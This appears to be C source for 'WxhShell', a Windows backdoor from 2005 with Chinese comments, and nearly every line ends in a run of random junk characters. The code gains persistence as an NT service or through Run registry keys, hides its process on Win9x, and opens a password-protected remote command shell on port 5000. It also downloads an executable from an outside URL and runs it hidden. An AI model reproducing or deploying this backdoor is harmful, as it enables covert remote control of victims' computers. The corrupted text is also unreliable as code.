} PROCESS_BASIC_INFORMATION; >&U,co$>
)sT> i
PROCNTQSIP NtQueryInformationProcess; J^g!++|2P
(V HL{rj
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |u ;v27
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6w@ Ii;
lMbAs.!
HANDLE hProcess; WH\))y-
PROCESS_BASIC_INFORMATION pbi; Alxx[l\<J
A\.GV1
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9*(aUz9j
if(NULL == hInst ) return 0; s4uhsJL V$
a 7,C>%I
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); X'"SVO.
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); w/ K_B:s
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *C:|X b<9
,xx R\}
if (!NtQueryInformationProcess) return 0; NSDv;|f
`kJ^zw+
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +o51x'Ld*
if(!hProcess) return 0; aX }P|l
8M`#pN^
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; e[#j.|m
>#y^;/bb
CloseHandle(hProcess); [bk?!0]aV
I=NZokfS
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +@/"%9w
if(hProcess==NULL) return 0; X<%Q"2hW
'&|=0TDd+
HMODULE hMod; A`}rqhU.{-
char procName[255]; $"H{4x`-
unsigned long cbNeeded; PuZf/um
Q(oN/y3,
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); aWY
gR
McQe1
CloseHandle(hProcess); }-6)gWe
wL:flH@
if(strstr(procName,"services")) return 1; // 以服务启动 `u&Zrdr,
?CA,
return 0; // 注册表启动 %GS(:]{n
} <>aw
1WM+
7F{3*`/6
// 主模块 WV_.Tiy<
int StartWxhshell(LPSTR lpCmdLine) |YY_^C`"-
{ eXf22;Lz
SOCKET wsl; k>g_Z`%<
BOOL val=TRUE; 9B7^lR
int port=0; H,u<|UMM_
struct sockaddr_in door; Rw:*'1
@("a.;1#o
if(wscfg.ws_autoins) Install(); @0u~?!g@
e!=kWc
port=atoi(lpCmdLine); e8#h3lxJ`
L>RP-x>
if(port<=0) port=wscfg.ws_port; trp0V4b8
3skC$mpJHw
WSADATA data; #a8B/-
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; De(Hw&
IV
d5gR"ja
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ZGKu>yM
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5X:*/FuS@
door.sin_family = AF_INET; ?3.b{Cq{-
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^8AXxE
door.sin_port = htons(port); y3o25}"
)j0TeE1R
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6U R2IxbE
closesocket(wsl); `6]%P(#a
return 1; \S!e![L/
} W1|0Yd ;P
Dw<bn<e-
if(listen(wsl,2) == INVALID_SOCKET) { ([m
mPyp>L
closesocket(wsl);
`yH<E+
return 1; 9|gr0~j
} 'g
m0) r
Wxhshell(wsl); /! "|_W|n
WSACleanup(); ~ijVmWNk
\(^nSy&N
return 0; ^5h]Y;tx
,l:ORoND
} %~2YE
dE4L=sTEsy
// 以NT服务方式启动 |n,<1QY
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 'z%o16F)L
{ fj;y}t1E]
DWORD status = 0; \1fN0e
DWORD specificError = 0xfffffff; %B5wH_p
uP~@U" !
serviceStatus.dwServiceType = SERVICE_WIN32; /7|V+6jV
serviceStatus.dwCurrentState = SERVICE_START_PENDING; /2=#t-p+
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8{^WY7.'
serviceStatus.dwWin32ExitCode = 0; ,0~n3G
serviceStatus.dwServiceSpecificExitCode = 0; uF9C-H@:
serviceStatus.dwCheckPoint = 0; %}Ss,XJ
serviceStatus.dwWaitHint = 0; [d1mLJAR
g" .are'7
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); hog=ut
if (hServiceStatusHandle==0) return; -y8`yHb_
)GM41t1i
status = GetLastError(); iB%gPoDCL@
if (status!=NO_ERROR) 7 /VK##z
{ B"TAjB&
*
serviceStatus.dwCurrentState = SERVICE_STOPPED; V@cM |(
serviceStatus.dwCheckPoint = 0; kT"Kyd
serviceStatus.dwWaitHint = 0; 0 yuW*z
serviceStatus.dwWin32ExitCode = status; 7BK0}sxO
serviceStatus.dwServiceSpecificExitCode = specificError; P3)Nl^/
SetServiceStatus(hServiceStatusHandle, &serviceStatus); g1W.mAA3B
return; b\$}>O
} D(AXk8Vub
^Eb.:}!D6
serviceStatus.dwCurrentState = SERVICE_RUNNING; Y&d00
serviceStatus.dwCheckPoint = 0; r^3acXl
serviceStatus.dwWaitHint = 0; {=!b/l;@
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); S+atn]eU@
} W&&;:Fr
Nn~~!q
// 处理NT服务事件,比如:启动、停止 Tgm nG/Z
VOID WINAPI NTServiceHandler(DWORD fdwControl) El[)?+;D
{ >*#1ZB_l
switch(fdwControl) [y'f|XN
{ aI6$? wus
case SERVICE_CONTROL_STOP: (Pf+0,2
serviceStatus.dwWin32ExitCode = 0; _aad=BrMK
serviceStatus.dwCurrentState = SERVICE_STOPPED; H%UL%l$
serviceStatus.dwCheckPoint = 0; C":32_q
serviceStatus.dwWaitHint = 0; -0$55pa/@:
{ '_w=k4
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2jg-
} % NA9{<I
return; @eD):Y
case SERVICE_CONTROL_PAUSE: K?B{rE Lp
serviceStatus.dwCurrentState = SERVICE_PAUSED; =BSzsH7
break; 544X1Ww2
case SERVICE_CONTROL_CONTINUE: XQ9O$
~q
serviceStatus.dwCurrentState = SERVICE_RUNNING; wkA+j9.
break; R7$:@<:g
case SERVICE_CONTROL_INTERROGATE: )0"wB
break; \O*-#} ~\
}; OGde00
SetServiceStatus(hServiceStatusHandle, &serviceStatus); M=FxB;v
} !;i`PPRwk
-(bXSBs#
// 标准应用程序主函数 5R@
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Co (.:z~
{ Z:,U]Z(
,0*&OXt
// 获取操作系统版本 cC=[Saatsf
OsIsNt=GetOsVer(); Ir`eL
GetModuleFileName(NULL,ExeFile,MAX_PATH); %QH)' GJQ
;1`fC@rI
// 从命令行安装 0E,8R{e
if(strpbrk(lpCmdLine,"iI")) Install(); QMa;Gy
x(hE3S#+
// 下载执行文件 r=5{o1"
if(wscfg.ws_downexe) { y.e^h RKb
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "U!AlZ`g
WinExec(wscfg.ws_filenam,SW_HIDE); 9N9L}k b
} 4
Y;Nm1@
so"$m
if(!OsIsNt) { C~nzH,5
// 如果时win9x,隐藏进程并且设置为注册表启动 $ACvV"b
HideProc(); LJk@Vy <?
StartWxhshell(lpCmdLine); ';TT4$(m
} 5mJ JU
else o7J
if(StartFromService()) r\b3AKrIN
// 以服务方式启动 ?]Pmxp
H}
StartServiceCtrlDispatcher(DispatchTable); DF1I[b=]
else +=q$ x Ia
// 普通方式启动 a:"Uh**
StartWxhshell(lpCmdLine); v1BDP<qU2
%MrWeYd1
return 0; biSz?DJ>
} M)eO6oX|
tSVc|j
p[hZ@f(z
@x"0_Qw
=========================================== IhA5Wt0j
Xe<sJ.&Wf
3&u&x(
(yF:6$:#
4US"hexE<
*
mOo@+89
" 5jd,{<
NdL,F;^
#include <stdio.h> E"+QJ~!
#include <string.h> xnmmXtk
#include <windows.h> T(f/ ?_%
#include <winsock2.h> S`#w+C#EW
#include <winsvc.h> @!`Xl*l
#include <urlmon.h> 2] zq#6ix
(iL|Sq&}b
#pragma comment (lib, "Ws2_32.lib") p 3 w
#pragma comment (lib, "urlmon.lib") fb{``,nO
JsDpy{q
#define MAX_USER 100 // 最大客户端连接数 :?/cPg'D
#define BUF_SOCK 200 // sock buffer ^r*r
w=
#define KEY_BUFF 255 // 输入 buffer =bHD#o|R
t^6dzrF
#define REBOOT 0 // 重启 xZ6~Ma2z
#define SHUTDOWN 1 // 关机 OY:,D
P8>~c9$I
#define DEF_PORT 5000 // 监听端口 T(t+
iv
|QU <e
#define REG_LEN 16 // 注册表键长度 QlJ)F{R8il
#define SVC_LEN 80 // NT服务名长度 8ELCs<xI
p(~Yx3$*
// 从dll定义API eu(:`uu
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); AS\F{ !O
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); F )W:
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); rd9e \%A
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); jg.QRny^
:P<]+\m
// wxhshell配置信息 VxVE
struct WSCFG { Ed_N[I
int ws_port; // 监听端口 *q()f\
char ws_passstr[REG_LEN]; // 口令 m06ALD_
int ws_autoins; // 安装标记, 1=yes 0=no EJsM(iG]~M
char ws_regname[REG_LEN]; // 注册表键名 _NMm/]mN /
char ws_svcname[REG_LEN]; // 服务名 rNB_W.
char ws_svcdisp[SVC_LEN]; // 服务显示名 K?BOvDW"`
char ws_svcdesc[SVC_LEN]; // 服务描述信息 J[4mLU
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 N7O-2Z *
int ws_downexe; // 下载执行标记, 1=yes 0=no DP3PYJ%+B
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" yt.F\ [1
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 f}x.jxY?
V+VkY3
}; T~Gvp0r}h
MM(xk
// default Wxhshell configuration cNM3I,o7
struct WSCFG wscfg={DEF_PORT, Bh;7C@dq
"xuhuanlingzhe", zmSUw}-4N
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"Wxhshell", "
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"Wxhshell", =y0C1LD+
"WxhShell Service", yuat" Pg
"Wrsky Windows CmdShell Service", @>W(1mRi
"Please Input Your Password: ", >D(R YI
1, .6`9H 1
"http://www.wrsky.com/wxhshell.exe", bdQ_?S(
"Wxhshell.exe" C/TF-g-_Y
}; NhaI<J
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// 消息定义模块 .HkL2m
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; a2
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char *msg_ws_prompt="\n\r? for help\n\r#>"; bO'Sgc[]
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Q\
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char *msg_ws_ext="\n\rExit."; ~TSy<t~%-
char *msg_ws_end="\n\rQuit."; RPE5K:P
char *msg_ws_boot="\n\rReboot..."; f]JM /
char *msg_ws_poff="\n\rShutdown..."; DDPxmuNG
char *msg_ws_down="\n\rSave to "; 4KH45|;3
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char *msg_ws_err="\n\rErr!"; v"OY 1<8
char *msg_ws_ok="\n\rOK!"; :9$F'd\
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char ExeFile[MAX_PATH]; V>A.iim
int nUser = 0; =gJb^
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HANDLE handles[MAX_USER]; V-Cv,8
int OsIsNt; ML(
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SERVICE_STATUS serviceStatus; ]8f ms(
SERVICE_STATUS_HANDLE hServiceStatusHandle; @>E2?CV
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// 函数声明 fp[|M
int Install(void); 1rkE yh??
int Uninstall(void); WIv?}gi:
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int DownloadFile(char *sURL, SOCKET wsh); 0IfKJ*]M
int Boot(int flag); a^=-Mp
void HideProc(void); Y@b.sMg{
int GetOsVer(void); }MHCd)78b
int Wxhshell(SOCKET wsl); .h>8@5/s
void TalkWithClient(void *cs); WnGGo'Z
int CmdShell(SOCKET sock); ,:Lb7bFv>
int StartFromService(void); {3.r6ZwCn
int StartWxhshell(LPSTR lpCmdLine); KN7n@$8YM
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VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `.x
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VOID WINAPI NTServiceHandler( DWORD fdwControl ); Zxbo^W[[
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// 数据结构和表定义 1;mW,l'`
SERVICE_TABLE_ENTRY DispatchTable[] = U5He?
{ 69J4=5lX
{wscfg.ws_svcname, NTServiceMain}, C\di 7 z:
{NULL, NULL} XwlbJ=mf
}; VxXzAeM
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// 自我安装 &&VqD
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int Install(void) <_XWWT%
{ `g6h9GC6
char svExeFile[MAX_PATH]; =Q[b'*o7
HKEY key; qfK`MhA}
strcpy(svExeFile,ExeFile); .F(i/)vaq|
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// 如果是win9x系统,修改注册表设为自启动 9M1d%jT
if(!OsIsNt) { )I$q 5%q8
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bf!M#QOk?
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cg*)0U-_(
RegCloseKey(key); Hf vTxaK
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E
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